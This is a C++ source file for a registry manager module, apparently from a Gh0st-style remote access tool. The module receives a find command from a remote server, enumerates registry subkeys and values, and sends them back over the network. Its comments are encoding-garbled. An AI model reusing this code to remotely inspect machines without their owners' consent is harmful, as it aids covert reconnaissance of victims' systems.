63 lines
1.4 KiB
C++
63 lines
1.4 KiB
C++
|
|
// RegisterManager.cpp: implementation of the CRegisterManager class.
|
|||
|
|
//
|
|||
|
|
//////////////////////////////////////////////////////////////////////
|
|||
|
|
|
|||
|
|
#include "stdafx.h"
|
|||
|
|
#include "RegisterManager.h"
|
|||
|
|
#include "Common.h"
|
|||
|
|
#include <IOSTREAM>
|
|||
|
|
using namespace std;
|
|||
|
|
//////////////////////////////////////////////////////////////////////
|
|||
|
|
// Construction/Destruction
|
|||
|
|
//////////////////////////////////////////////////////////////////////
|
|||
|
|
|
|||
|
|
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
|||
|
|
{
|
|||
|
|
BYTE bToken=TOKEN_REGEDIT;
|
|||
|
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
CRegisterManager::~CRegisterManager()
|
|||
|
|
{
|
|||
|
|
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>"<<endl;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||
|
|
{
|
|||
|
|
switch (szBuffer[0])
|
|||
|
|
{
|
|||
|
|
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
if(ulLength>3){
|
|||
|
|
Find(szBuffer[1],(char*)(szBuffer+2));
|
|||
|
|
}else{
|
|||
|
|
Find(szBuffer[1],NULL); //Root<6F><74><EFBFBD><EFBFBD>
|
|||
|
|
}
|
|||
|
|
break;
|
|||
|
|
default:
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
VOID CRegisterManager::Find(char bToken, char *szPath)
|
|||
|
|
{
|
|||
|
|
RegisterOperation Opt(bToken);
|
|||
|
|
if(szPath!=NULL)
|
|||
|
|
{
|
|||
|
|
Opt.SetPath(szPath);
|
|||
|
|
}
|
|||
|
|
char *szBuffer= Opt.FindPath();
|
|||
|
|
if(szBuffer!=NULL)
|
|||
|
|
{
|
|||
|
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
|||
|
|
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
|||
|
|
LocalFree(szBuffer);
|
|||
|
|
}
|
|||
|
|
szBuffer = Opt.FindKey();
|
|||
|
|
if(szBuffer!=NULL)
|
|||
|
|
{
|
|||
|
|
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
|||
|
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
|||
|
|
LocalFree(szBuffer);
|
|||
|
|
}
|
|||
|
|
}
|